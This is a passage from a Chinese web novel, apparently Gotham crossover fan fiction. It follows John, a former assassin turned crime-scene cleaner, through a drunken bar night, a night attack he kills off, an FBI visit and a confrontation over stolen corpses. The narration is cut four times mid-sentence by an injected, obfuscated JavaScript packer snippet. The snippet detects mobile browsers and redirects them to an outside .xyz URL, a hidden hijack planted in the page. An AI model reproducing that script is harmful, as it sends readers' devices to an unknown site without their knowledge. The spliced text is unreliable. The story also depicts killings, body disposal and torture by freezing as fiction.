约翰听着瑞德说起了他们之间的一两之缘,又听着这人引用了洛钦斯的理论,原本的寒暄突然就变成了滔滔不绝的长篇大论。 随着瑞德的表述越来越充实严谨,约翰的表情也从这样“—”变成了这样“口”。 熟知瑞德的人知道他这是触发了被动解释的机关了,于是不等瑞德说完结论,摩根和艾米莉就了站出来,一人一条胳膊把人给架走了。 约翰向瑞德挥手告别,心力交瘁。 为了安慰自己,他接受了吉姆的邀请,两个人一前一后,坐上车直奔酒吧而去。 约翰依然喜欢坐在吧台边上,他一条腿屈曲抵在椅子腿上,另一条腿伸出去,看起来像是无处安放。 相比起约翰“豪迈”的坐姿,吉姆的坐姿就收敛得多。他稍显局促地将脚并拢,然后向酒保点了一大杯冰啤酒。 约翰点了老一套,趁着酒保给他凿冰球的空隙,他在酒吧里左看右看,却并没有发现那个熟悉的飞镖靶子。 酒保给他倒了酒,见约翰在往常挂着靶子的地方张望,语气凉凉地告诉他:“先生,别看了,因为你,老板把那个陪伴了我们好几年的靶子给撤掉了。” 约翰不解,他不就是多中了几次靶子然后免了几次单嘛,总不能因为他免费喝了几杯酒,老板就心理不平衡了吧? “怎么怪到约翰头上了,发生什么事了?” 吉姆灌了一口酒发出一声喟叹,比起约翰,他来这里的次数并不算多,所以对于约翰的“战绩”并不十分清楚。 酒保冷哼一声,开始解释:“当然要怪他,每次他心情好了投几镖,心情不好了也要投几镖,之前的规矩是站在那条线外一次性连中十镖免单,他投多少镖就中多少镖,关键他自己中了还不算完,他竟然还手把手地教其他人怎么投飞镖……” “只要他一来,当天一整天的收益都白算,长久下去,我们连保护费都交不起了。” 约翰摸了摸鼻子,他那是喝醉了才那样,他自己倒真没多少教别人投飞镖的记忆,可能是以前带新人带习惯了。 他刚想糊弄过去,偏偏这时走过来一个“证人”。 一个一脸凶狠样的大胡子男走过来点酒喝,见了约翰十分热情地揽住他的肩膀,感谢他教自己玩飞镖,他之前参加一个飞镖爱好者办的比赛,出了风头不说还找到了女朋友。 “嘿!把约翰这杯酒算在我头上,走一个。” 大胡子男举起酒杯和约翰碰了杯,被他挡住的吉姆很想说请约翰喝酒也要分先来后到,但是他要抬头才能看见男人宽厚的肩膀,他立刻怂了,等大胡子男走了才和约翰说:“下一杯我请。” 想要限制饮酒不打算再喝醉的约翰:…… 约翰扯了扯嘴角,勉强露出一个微笑来,心里却在想自己最好有一段时间都不要来这边喝酒了。 但是事情还没完,约莫二十分钟之后,酒吧突然涌进来几个大学生,他们一边唱歌一边起哄,吵吵嚷嚷地挤了进来,为首的是个带着钻石耳钉的年轻人,他看见约翰,大叫一声,带着人推闹到约翰身边。 “这不是约翰先生吗?好久不见啊,哎,怎么喝这个,来个香槟塔,上唐培里侬!” “唐培里侬!唐培里侬!” 起初只是他的那些朋友在起哄,但没过多久,整个酒吧的人都在起哄,喊着要搭香槟塔。 “唐培里侬!唐培里侬!唐培里侬!” 酒保嘴角都快咧到耳朵根上了,所以说,老板只是撤掉了靶子,而不是明令禁止约翰来这家酒吧,有约翰在,他们店的业绩还能再提几成。 换句话说,他们把约翰当成人形招牌了。 在一众热闹之中,唯独约翰十分茫然,他喝醉了就断片,不止不记得自己是如何教别人投飞镖的,也不记得自己是怎么和这帮人扯上关系的,更对这座搭起来的香槟塔没有任何印象。 几个大学生围着约翰唱歌跳舞,香槟塔搭起来后,他们招呼着其他客人帮忙倒酒,还说什么这些酒都算他们请了,众人欢呼起来,一人拿了一瓶酒站在椅子上开始倒酒。 约翰看着澄澈的酒液如水柱般倾斜而下,脑海中突然闪回了之前的记忆,几个零星的画面,已经让他大概明白这些人的身份了——戏剧表演系的学生,带头的年轻人叫罗杰。 罗杰他们显然是在别处喝过一轮了,他们满面通红,酒气熏熏地靠过来,吆喝着感谢约翰之前帮他们完成了小组剧本的作业。 “???” 约翰脸上还挂着问号,罗杰自顾自说着:“我、我们、嗝—— 一开始愁死了!还好有你帮忙,我们的作业得了第一、第一!我爸爸一高兴,给我买了辆新车!” “新车!新车!” 其他人附和着,一人端起一杯酒互相碰杯。 “什么作业?” 约翰反问,这部分的记忆他确实是没有啊。 罗杰一听,瞪大了眼睛,指着约翰比划了两下,冲着其他人大喊一声“喝”,然后转过头对约翰解释道:“就那个,编写剧本,然后表演的作业,我们是最有创意、演出效果最好的!还有你指导我们,就演那个、那个——” 罗杰关键时候结巴了,他的手指向自己的同学,后者接上话茬,说:“杀手!” “对,就演杀手!” 约翰倒吸一口凉气。 他听到罗杰还在说剧本的事:“你不知道,你跟我们吹的那个故事有、有多好!情节跌宕起伏,最重要的是,知识专业,杀手也很帅,我们为了谁演这个主角,还吵起来了哈哈哈哈!” “再走一个!” 罗杰拿自己的杯子和约翰碰了杯,然后撇开约翰去找别人吹嘘去了,刚才那个接话的同学没他那么醉,他看约翰还是一脸不明白发生了什么事的模样,大着舌头说剧本的故事。 “就是你和我们说的那个,有个杀手为了救一个小女孩儿潜入秘密实验室杀了个遍的故事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225865|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还有一个,为了阻止邪恶博士的阴谋,冒死闯进基地搞刺杀,还有、还有,刺杀收受贿赂的政要!不过有些剧情不太好演绎,我们就删删改改了一些。” “最后的剧本就是男主角,是个被骗去当杀手的可怜人,因为良心未泯,为了救人选择杀人,结果救的人还是死了,就变坏了,变得——很——坏——” 他大着舌头倒下了,看来他的醉酒程度不比罗杰轻。 约翰抱着头痛苦面具。 难怪伯恩斯他们不喜欢自己喝酒。 他都干了些什么? 约翰盯着酒吧的门,生怕下一秒那里又来几个感激他的人,然后一说起他醉酒后干的事,他的人设就彻底—— 嘶,不对,这些人都是酒鬼,四舍五入,算半个疯子,再四舍五入,算半个精神病人,精神病人说的话是不会有人相信的。 还好这里是哥谭。 约翰放松了,也将限制饮酒的想法改成了戒酒。 这酒是不戒不行了。 约翰十分顺手地接过一杯唐培里侬,在其他人的鼓励下又拿了一杯,然后莫名其妙就变成了他要和别人比拼酒量。 不知多少杯酒下肚,约翰摇摇晃晃地走出酒吧,地上躺了一堆醉倒的人,他们挠了两下肚皮,翻了个身睡觉,酒保见惯了这些熟客这么做,动作熟练地拨打这些人预留的电话,喊电话那头的人来这里接人。 他打到第二个电话时,约翰扶着墙回来了,他总觉得自己不是一个人来的,走到停车场了才记得还有一个吉姆,于是他又回来把人拖回去,然后叫了代驾。 这么一通操作下来,约翰依然是那副醉醺醺的模样,尽管他刚才能准确按键拨号码,能和那个代驾对答如流,但他就是醉了,区别就是他酒醒了之后不会记得自己做过这些事。 总归这些事就像今晚他被人提醒的那些事情一样,会被他抛之脑后。 约翰在车里坐了半个小时,他叫的代驾来了,他打开汽车方向灯,把手探出车窗挥了挥,对方看到后跑过来,看到是约翰就开心了。 “又是你啊,先生,这次也被人灌醉了吗?” 约翰不想理他,他缩在副驾驶座上,抬头看向后视镜,吉姆已经躺在后座睡熟了。 “好吧,看来您今天是话少的时候。” 代驾的是个二十出头的年轻人,和刚才那些大学生不同,他是勤工俭学那一类的,白天上课,晚上出来做兼职,偶尔交一交保护费。 他不是话多的人,但有时约翰的话实在太多了,他不得不听一耳朵,目前为止,他只知道约翰是做家政服务的,似乎还认识些背景不干净的人。 实话实说,他有想拜托那种人做的事,但又不敢轻易下委托,他不想把自己也搭进去,所以这种事最好拜托给信得过的人。 他看一眼约翰,心中意动。 都说酒醉能看出一个人的品行,那约翰就是他认识的最好的人。 他不知道还能把那件事拜托给谁,但是如果拜托的对象是约翰的话,他愿意试一试。 20.袭击 约翰靠在副驾驶座上,注意到他叫过来的这个代驾正在频繁朝他看过来,鉴于对方在开车,这样的行为简直是在自找麻烦。 “看路。” 约翰转头,正好和驾驶座上的人对视了,这个年轻人吓了一跳,车倒是没有滑行到其他车道上。 “抱歉。” 代驾紧张到做出重复性吞咽动作,他的喉结上下滚动,手心里渐渐出了汗,他这时才想起来约翰似乎对别人的视线格外敏感,毕竟第一次给约翰做代驾时就领悟过了——约翰只是喝醉了又不是瞎了。 “等等。” 约翰突然抓住旁边人握住方向盘的手,然后松开,改为轻拍的动作,说了个地址:“在前面那个路口转弯……先把后面那家伙送走。” 约翰记得吉姆说过,他平时关店晚了就会在店里的小房间里休息,他虽然没有那个店的钥匙,但他会开锁啊,难不倒他。 约翰偏过头,看着这个年轻人的侧脸,这人给他一种熟悉感,就像他们已经见过许多次了一样。 “我好像还没有问你的名字……” “啊?” “……我叫利亚姆。” 约翰听到了一个名字,砸吧嘴将脑袋偏向另一边,闭上眼开始休息。 利亚姆说完自己的名字,又小声抱怨道:“这是我第四次介绍自己了,约翰先——” 他看到约翰睡着了,不再多发一言。直到他把车停在吉姆的餐馆门前,任劳任怨地钻进后车座里把这个矮胖的中年男人给叫醒。 只是还没等他叫醒吉姆,就听到了约翰让他赶紧把人扶到餐馆里面去。利亚姆看向餐馆大门,发现刚刚还大门紧闭的地方此时正敞开一个黑黢黢的大口,等着将人吞没进去。 从黑暗里走出来一个人,是约翰。 约翰靠在门框上,因为热而解开了衬衫上面的几粒扣子,此时正袒露胸怀、抱着手臂等利亚姆把人扶进来。 眼前的一幕足以登上杂志封面,利亚姆却没有欣赏的心情,他吭哧吭哧地搀扶起睡得跟猪一样的吉姆,始终没等来约翰的“搭把手”,于是他一边在心里吐槽约翰白练一身肌肉,一边跟着约翰走到那间小房间里,像扔一个麻袋一样把人扔到了床上,然后把靠在门上睡着的约翰推走了。 是他错怪约翰了,就这随地大小睡的困倦程度,根本不能指望他帮忙。 利亚姆原本还有些事想拜托约翰,经此一遭又没什么信心了。 等他把人送到住宅里,也只是看着约翰叹了口气,然后去赶末班车了。 约翰喝酒之后醉得快,醒的也快。 深夜,他一个打挺从沙发上坐起来,伸手一模额头,摸到了一手的汗。他受不了了,一边脱衣服一边朝浴室走去,顺便解个小便。他刚才做梦梦到了马桶,差点在梦里解决,然后达成成年后尿裤子的经历。 刚冲完澡,约翰才围上浴巾就听到了他的客厅里传来窸窸窣窣的动静,他重新打开花洒,借着水流声假装自己还在洗澡,然后关上了灯。 他躲到门后,在水流声中分辨出其他人的脚步声。 脚步声很轻,是训练过的,从数量上来看,有三个人。其中两个人率先朝浴室这边走过来了。 约翰将手臂上的水珠擦干净,静静等候着,等到两个人都走进浴室后,一手捂住一个人的嘴,手臂上的肌肉明显隆起,不难看出他究竟用了多大的劲。 他用臂弯死死钳住两个人的脑袋,十几秒过后,缺氧晕倒的两人终于不再挣扎,约翰把人放进浴缸里,花洒依然开着,水“哗啦啦”地打在两人身上,倒是比刚才听起来更像是有人在洗澡。 约翰将浴帘拉回去,趁着外面的另一个人注意到异常之前溜出了浴室,朝着离浴室最近的厨房去了。而等到那第三个人冲到浴室用消音手枪对着浴缸乱打一通时,他已经摸到了一把他从来没用过的刀具。 不止是刀具,连这个厨房他都没怎么用过,他的厨艺水平约等于零,除了泡麦片以外这个厨房确实没什么用,只能说,还好同事们送的乔迁礼都是厨具,不然他今天就只能拿着麦片碗战斗了。 ……三、二、一。 随着约翰的倒计时结束,成功发现误杀了自己人的那个笨蛋终于怒气冲冲地从浴室里走了出来,他换了一发弹匣,举着枪在客厅里寻找约翰的身影。 在夜视眼镜的加持下,他很快就发现了约翰的脑袋,一枪打过去,刚才还在动的脑袋倒了下去。 男人握着枪,谨慎地靠近厨房,突然,腿上传来剧痛,他低下头,一把剔骨刀从他的腘窝处插了进去,刀尖穿过半月板,在膝盖前方露了个尖头。 他的腿立刻就软了,他抬着膝盖在地上嚎叫,但还没有叫两秒钟,他就再也叫不出来了。 约翰手里还拿着一把沾了血的刀,他伸出食指比在嘴唇前,“嘘”了一声:“小声些,夜深了,吵到邻居怎么办?” 喉咙被割开的男人睁着眼睛,徒劳地捂着潺潺流血的伤口,夜视镜里最后的图像是约翰正在闭着眼睛打瞌睡。 “哐啷——” 刀落在地上,发出清脆的声响,已经睡着了的约翰没有在意,他还以为自己是在做梦,以为睡觉就是杀敌的方式。 然而等到天明时,入侵者的尸体都凉透了。 约翰睡了个好觉,他从地上坐起来,伸懒腰时脚一蹬,踢到了一个硬硬的、圆圆的东西,他抹了把脸,终于看清了脚边的尸体,他刚才是踢到尸体的脑袋了。 “这是什么时候的事?” 约翰不解,他没有解决这些入侵者的记忆了,脑海里只有他在洗澡和解小便的模糊印象,他下意识摸了一把下半身,直接摸到了皮肤,他这才彻底清醒,发现自己差不多是光着躺在地上睡了一晚上的,另有一条皱巴巴的毛巾可怜兮兮地挂在他的大腿上。 饮酒误人、饮酒误人啊! 约翰下定决心一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236410|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要戒酒。他从地上站起来,拾起毛巾在屁股上重新裹了一圈,抬起脚小心翼翼地绕过地上那滩血泊,直奔浴室而去,他已经迫不及待地想洗个澡了。 约翰哼着歌拉开浴帘,看到两具泡着血水的尸体。 “……” 这浴缸不能要了。 要不是浴缸的排水阀是开着的,他都不敢想整个浴室的地板会变成什么样,总不能连地板也拆了重换吧。 约翰叹气,然后给老板艾米莉亚打了电话,作为知道他原先职业的人,艾米莉亚肯定适合接手这几具平白无故多出来的尸体。 清洁工处理的尸体一般都是送焚化场统一焚烧处理,但也不是什么尸体都能送过去,还要看雇主的要求,有的人希望把尸体冷冻保存 ,有的人就是为了消灭犯罪证据,还要来个把骨灰撒入大海来处理,当然,因为这很不卫生、很不环保,所以这项服务被禁止掉了。 而按照约翰处理的尸体来说,只有混进清洁工处理的尸体堆里这一种说法,反正烧一具尸体是烧,烧两具也是烧,就像之前在仓库那次,他就是借用了清洁工专用焚化炉把那几个打手的尸体给处理掉的。 只是上次他刚好带着工具箱,也有任务单,这次可不行,那就只能走后门直接联系艾米莉亚帮忙了。 艾米莉亚听到夜袭约翰的三个人都被解决了,没有第一时间get到约翰希望借炉子烧点东西的想法,只问他:“那些人是什么来头?怎么找到你的?跟对家公司有关吗?” 约翰是一问三不知,这些问题他压根就没问过,别说关于这些人的身份了,他连昨晚醉酒之后的记忆都没有,这些尸体对他来说就是凭空冒出来的,他还是根据那把插在膝弯里的刀才判断出这真是他亲自下的手。 他肯定是装死之后引人靠近了,然后拿刀搞偷袭才把人弄成这样的。 艾米莉亚没得到有关的情报,问约翰为什么不留一个活口审讯:“对方要是再来一次,手下留情别杀光了,我总要知道这是不是那个老不死派来的。” 艾米莉亚说的“老不死”是霍恩海姆家政公司的竞争公司董事长——柯蒂斯·以利亚斯,他的公司也是搞家政服务这一块的,不同的是,他们是真的在搞家政服务,而不是约翰这样的灰色清洁工。 柯蒂斯虽然开的是家政服务的公司,但他干的事却很没有“服务精神”,为了成为哥谭唯一 一家家政服务公司,他一直致力于搞垮其他在哥谭的同行,他会派人暗杀约翰这个到韦恩庄园做过家政的好员工是再正常不过的事了。 艾米莉亚是如此的确信,以至于她自己就说服了自己,随口答应约翰的要求后就挂断了电话,她摩拳擦掌,她跃跃欲试,她叫来了辛迪。 约翰不知道、也没兴趣知道艾米莉亚的算盘,他只知道这些烫手山芋有地方处理了,于是他费力打包好尸体,刚准备拖地就听到门铃在响。 他点开门口的监视器,看到了昨天的FBI。 21.善后 现在的情况已经很明显了—— 尸体,血迹,约翰,门,FBI。 约翰离罪行败露之间只隔了一扇门,这门既脆弱又不抗撞,唯一值得庆幸的一点就是他放弃了采光,门旁边的窗户始终挂着厚实的窗帘,不至于叫门外的人转头就看见屋里的狼藉。 门铃还在响,约翰也能从设备里听到门外人的谈话,不知怎么,他们确信约翰在家,而且大有怀疑约翰的人身安全的意思。 情急之下,约翰将打包好的尸体藏在灶台下的碗橱里——那是厨房里最空荡的地方了,原本是留着放洗碗机的,但鉴于他从不做饭,所以洗碗机也迟迟没有买上。 快速塞好尸体,约翰一手拖地一手喷空气清新剂,然后提着水桶将一桶血水都倒进了浴缸里排掉,接着将花洒水开到最大打湿全身,然后又拽了一条浴巾随意围住了隐私部位,就这么直接带着一身水汽去开门。 只要尴尬的是对方不是他,那许多疑点都会被人为忽略掉。 尴尬才是最好的遮羞布。 约翰十分自信地打开门,与站在门口的艾米莉和瑞德对视了,零点零一秒后,艾米莉捂住了眼睛,指缝却漏得老大,就差直接移开手指了。 瑞德张着嘴,他那十分聪明的小脑瓜子想了又想,都没想过他和约翰会在这种情况下再见。 约翰淡定地和他们打了个招呼,解释自己刚刚在洗澡,虽说这事明眼人都看得出来……他的视线略过两位FBI,看向大门外乌乌泱泱一群人,有警察,也有围观路人,不过都是集中在他对面那户人家旁边的,似乎是那户人家出了什么事。 只是他们离约翰的家实在太近了,于是很快就有不少人注意到了这不太正常的一幕,好在约翰及时将两位探员请进了他家里,这才避免了他成为谋杀新闻里的裸/男背景板。 约翰和艾米莉、瑞德两人沟通一番,这才知道这些人原本也不知道约翰会住在这里。 “我们是一早就接到报案,送奶工注意到被害人家里的大门没有关好,进去了才看到尸体,我们注意到你院子里的大门没关,还以为你也——” 瑞德解释着,头低下盯着茶几上的花纹看,毕竟约翰也没去穿衣服,就这么坐在了他们对面。 这花纹可真花纹啊。 艾米莉最后欣赏了两眼,她们本来就是自己过来看一下情况的,比起和约翰在这里聊天,还是出去解读现场、分析犯人特征更有用。 只是既然约翰住得离被害人这么近,那他们就要顺嘴问一句约翰昨晚有没有注意到什么不对劲的地方。 “抱歉,我昨晚和吉姆去酒吧喝了一晚,是叫来的代驾把我带回来的,我什么也不知道,如果你们有需要,我可以把那个代驾的电话号码给你们。”约翰说着,顺手撕下一张便签,对着手机里的通话记录抄号码。 艾米莉点头同意,从约翰手里接过便签纸。 多说多错,两人见约翰没别的事,匆匆道别后离开,约翰想把人送到门口,却被两人一齐拦下了,显然他们也不希望自己上新闻时背景里是一个裸/男,不管这个裸/男的身材有多好都不行。 约翰演足了戏,从监控设备里看到艾米莉和瑞德确实返回现场之后才松了口气。 他还有几具尸体要找人处理,可现在发生了命案,他要处理尸体就只能等到夜半十分,不然分分钟被警察给发现了,他可不想过着被通缉的生活,因为联盟也接逃犯的委托,一旦他的名字被挂上去,昔日里那些被他狠狠地、物理意义上踩过的人绝对会来看他笑话。 约翰一想到那种场景就头疼,因此现在只有费力遮掩的份,他将突发情况报给了艾米莉亚,对方不是很在意他什么时候烧尸体,而是让他最近一段时间注意安全。 “我夜观天象,近日哥谭会有腥风血雨,晚上不宜出门。” 神神叨叨的。 约翰不是很信这些东西,他和那个现代派的教徒会长已经打够交道了,对这些说辞也不是很感冒,不过最近连环杀人犯的事确实闹得沸沸扬扬的,说有腥风血雨倒也不算说错。只是晚上的门他是要出的,而且今晚就要走,再不处理掉那些尸体,他们都该发臭了。 约翰不想他的碗橱再也不能用了,他已经要换一个浴缸了,绝对不能再换一种碗橱。于是一等家对面的人群退散开,他就将裹尸袋拽出来,然后走了后门到车库里,悄悄地将尸体都转移到了车的后备箱里。 临近傍晚,约翰借口临时加班应付了安保室的人,以防那些探员打个回马枪杀他个措不及防,另外,他也确实接了一个小单,这样艾米莉亚那边也会适时帮他伪造好工作记录。 新的工作地点在伯利莱区,等约翰赶过去时,天色已经彻底昏暗下来,路灯早在一个小时之前就亮起来了,偶尔能看到上面还有残留的一截绳索,在晚风中张牙舞爪。 到了地方,约翰将车停好,他拿工具箱时确认了一遍:三具尸体还好好地放在车里。 约翰转身上楼,这是一间普通的公寓楼,只有两层,走廊里还能看到绿色的房门前堆满垃圾,他小心地绕过那堆垃圾,继续朝走廊深处走去。 走到最后一扇门前,约翰按照雇主提示在地毯下面找到了钥匙开门,一打开门,血腥味就扑面而来这是完全无法令人忽视的气味。 这次没穿那套防护性好的黄色制服,他只能拿塑料雨衣凑合一下,就是一动身上就哗啦啦响,除此之外没有什么影响工作效率的毛病。 从犯罪现场来看,尸体是被一枪毙命,从他身上的纹身来看,应该是混帮派的,但是他那个帮派的地盘可不在这一片,伯利莱区是黑面具手下的地盘,而这人顶多是跟着其他反派混的喽啰,不值一提。 约翰想象了一下当时的情况,手上打包尸体的动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240844|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不停。如果那个白痴雇主开枪前有搞消音器的话,他也不用这么忙了。 虽说以往也不用在意警察什么时候赶过来一事,毕竟这片的巡警都被收买了,不会有谁故意找进来,但最近不太一样,新来的几个FBI好歹也是知名人士,他们没把握把人搞定了会出什么样的后果,只能收敛点。 也就是说,这次警察可能真的会来得快点。 约翰急匆匆收拾完尸体,先把尸体搬走才是正道,只是这车是不能就这么大咧咧停在楼下了,他将车开到公寓背面,刚好在他工作的窗户下面。接着他再返回二楼去捡弹壳,顺便把地拖了一遍。而正当他拿着抹布擦墙上和相框上溅上的血迹时,他突然听到走廊里传来几个人的脚步声,他们注意到门缝里透出来的光和影子,走路的声音突然放轻了。 约翰看着自己的影子没说什么,谁让他刚好站在台灯旁边呢。 在门外的人冲进来之前,约翰动作灵巧地收好工具,提着箱子三步并作两步快速跑到窗户边,翻窗跳了下去。 “砰!” 约翰落在车顶上,他跳下车顶,打开车门窜了进去,在探出窗户的人查看之前就融入了夜色里。 约翰在高架桥上绕了两圈,确定没有人跟踪之后才带着尸体赶到清洁工专用的焚化炉工作室里,那里夜间也有人值班,他不用担心处理的问题。 另一边,霍奇拿着枪跑到窗户边上时,已经看不到任何有饭关人或者车的影子了,他连汽车的尾气都没摸到。 在他身旁,是同样持枪的戈登局长,戈登探查了一遍房间,确认安全后把枪收了起来,他再次走到窗户边上,朝下看去。下面什么也没有,但是霍奇依然在盯着楼下的地面,好像那上面留有什么暗号一样。 然而事实就是他们没抓到约翰,甚至都不知道那是约翰,从始至终,他们也只是看到了一个朦胧的、模糊的人影罢了,要不是有那声“砰”的重物砸车声音,他们还联想不到可疑人员的车是停在后窗那个位置的。 暖黄色的灯光在狭小的公寓里静静地提供支持,在人影的晃动下,灯光被碎成几份,那光亮一闪,变成了焚烧炉里燃烧着的火焰。 屋里温度开始升高,约翰没有摘下口罩,他选择直接走出去,方便里面那个值夜班的家伙做点小手段。 等时间差不多了,他再折返回去,将证据拍了下来。 面对闪光灯,焚烧工下意识闭上了眼睛,等他睁开眼睛时,就看到了约翰那双似笑非笑的眼睛正直勾勾地盯着他。 “艾米莉亚同我说过尸体少了一些的事……果然,连正规的殡葬行业都不能避免的事,在这里也一样。” 器官交易一直是一本万利的买卖,从以前他了解到清洁工还有专门的焚烧炉和对应的焚烧工时就感到不对劲了,毕竟,如果不是有人监督的话,谁能保证那些尸体不被打上别的主意呢? 22.夜行 焚烧工想辩解什么,他想说这些人反正都是因为帮派斗争死掉的,不如回收再利用一下,但是约翰和艾米莉亚一样,有他们的底线。 “利益动人心啊,对于你们来说,把杀人现场伪造成帮派冲突也不算什么吧?” 约翰在上夜校时听过,有些不想继续做清洁工的人多会继续留在这个行业,只是换了一份工作,他们可以去当后勤,也可以从事焚烧工这类工作。 换句话说,有些焚烧工是从一线上退下来的原清洁工,他们比一些新人更明白某些犯罪现场究竟是什么样的,也正因如此,他们可以杀完人之后伪造好现场,再通过匿名账户向公司发布任务单,扣除这些成本,一个焚烧工至少也能赚到原来工资的十倍乃至二十倍。 但是他们也不是什么时候都有机会偷梁换柱,最起码在白天时,清洁工都是看着尸体被焚烧或者亲自动手,他们很难有调换尸体的时机,至于收买清洁工,愿意被收买的早就辞职换工作了。 约翰也是进了这行才发现,与之他上一份工作不遑多让的是,这里的怪人也不少,而且一个地方有一个地方的混法,哥谭是混乱了点,可那不意味着他们中的大部分人真的认为杀人是一种正常且合法的行为了。 如果任由这些人杀人后伪造现场,迟早有一天,自己的家人也会死在这些贪婪的鬣狗嘴里,这和缄默法则是一样的,只要不说,就绝不能祸及家人。 所以不论如何,一般的清洁工都不会容忍这种事的发生。 约翰将照片发给艾米莉亚,后者给他发了短信,告诉他晚上确实不宜出门,于是在艾米莉亚这边,约翰就是加完班之后歇在公司的状态。 “我可以信任联盟的前Top杀手吧?” 约翰没有回复这一条短信,艾米莉亚要是不信任他,从一开始就不会和他说起尸体少了几具的事情。 他收起手机,将门反锁了。 工作室里有一间冷库,是暂时存放尸体的地方,如今里面除了一些腐烂后冷冻保存的尸体之外,没有多余的东西。这里甚至连冷冻柜都没有,只有几架孤单的贴架子,上面偶尔摆着一两具烧不过来的尸体。除此之外,这里就和普通的生鲜冷冻库没有什么两样,想来这里原本就是由餐厅或者超市的冷库改造而来。 约翰拽着那名焚烧工走进冷库,随后抬了一把椅子进去,用裹尸袋上拆下来的拉链把人捆在了椅子上,然后关上了门,当然,他是在站在门外的。 隐约有喊叫声从门缝里传出来,约翰没有在意,他找到了调节冷库温度的开关,将原本的4℃往下再调了几档,门内喊叫的声音渐渐弱下来了。 约翰看着时间,他知道一般人能承受的极限在哪里,又过了十分钟,约翰调高温度,打开了冷库的小门。 他将身体依靠在门框边上,居高临下地看着低着头浑身哆嗦的焚烧工。 焚烧工嘴里喃喃着某些话,约翰没听清,他觉得这是对方不配合:“那看来你还挺喜欢这样的温度,再来一次吧,再往下降两格温度怎么样?” 约翰直起身,抬手拉过门把手就要关门,这时,那个半死不活的焚烧工突然就有力气了,他抬起头,咬字清晰,说出了一个名字:“罗斯顿、罗斯顿·斯通。” “好吧,还算有用。” 约翰将门敞开,他知道这个人——“能干的罗斯顿”,在清洁工岗位上坚守了数十年,然后因为到了退休年龄就被批准离职那个老头,早在他当杀手时,还听萨波女士提起过他,在别人的评价里,他无疑是个“勤劳能干”的清洁工。 不过老实说,约翰从不相信一个人的工作能力和他的人品是成正比相关的,就好比他,他的杀手工作就做的很不错,但他不是一个多么有道德的人。 老罗斯顿曾经爱岗敬业归爱岗敬业,可他对金钱的执着超过了人命以至于犯下这种罪行的事是事实,没有人可以为他狡辩,包括他本人在内。 约翰在备忘录里记下名字,然后开始对这名焚烧工的处理感到纠结了。 如果是一般的罪犯,他可以自己动手或者把人打包好送到警局门口,后者可能没什么用,但他还有蝙蝠侠的名号可以利用,所以只要假扮成是蝙蝠侠来给警察送业绩来了,警察局里蝙蝠侠的内应就会迅速行动起来,把案件接手过去。 只是可惜,焚烧工和清洁工的工作有联系,约翰可不想把人挂一次路灯然后丢了工作,与其指望这家伙不对警察说些别的内容还不如指望他突发疾病暴毙了呢。 至于他单方面执行死刑…… 这个人只是帮忙调换尸体,还没有那个本事去做到杀害别人之后伪造现场,一个人有没有杀过人,约翰可以从各种方面看出来,而这家伙显然没有做过那种事。 对于这种人,不能送往警察局公正处理,也不能真的一刀解决了,约翰是前·职业杀手,不是有特殊癖好的杀人狂,而且他很少自己做决定——不能背的锅要及时甩给上司,这是他们杀手界约定俗成的特例,以此来维持自己良好的口碑。 “所以谁当联盟会长,谁就会变成大坏蛋,明明是每个……都应该知道的情报,结果竟然还有人推举我当会长,真是可恶……” 约翰想起一些不好的往事,他打给了艾米莉亚,虽说是夜晚,但那边的私生活才刚刚开始,约翰等了两秒,才从那震耳欲聋的音乐声中听出了艾米莉亚的声音。 约翰问她这个焚烧工要怎么处理,因为不想被留把柄,艾米莉亚没有傻到直接对着电话说“杀了他”,她离开人群,走到分贝较低的地方,说:“给他换个工作,南美洲的分部建了又拆、拆了又建,总算是开业了,正是缺人手的时候,你跟他说一句‘祝贺升迁’吧哈哈哈哈哈——” 约翰及时打开了免提,这种噩耗当然是上司亲自说出来要好得多啊,他不喜欢替别人传这种话,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253951|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是避免拉到一些莫名其妙的仇恨值。 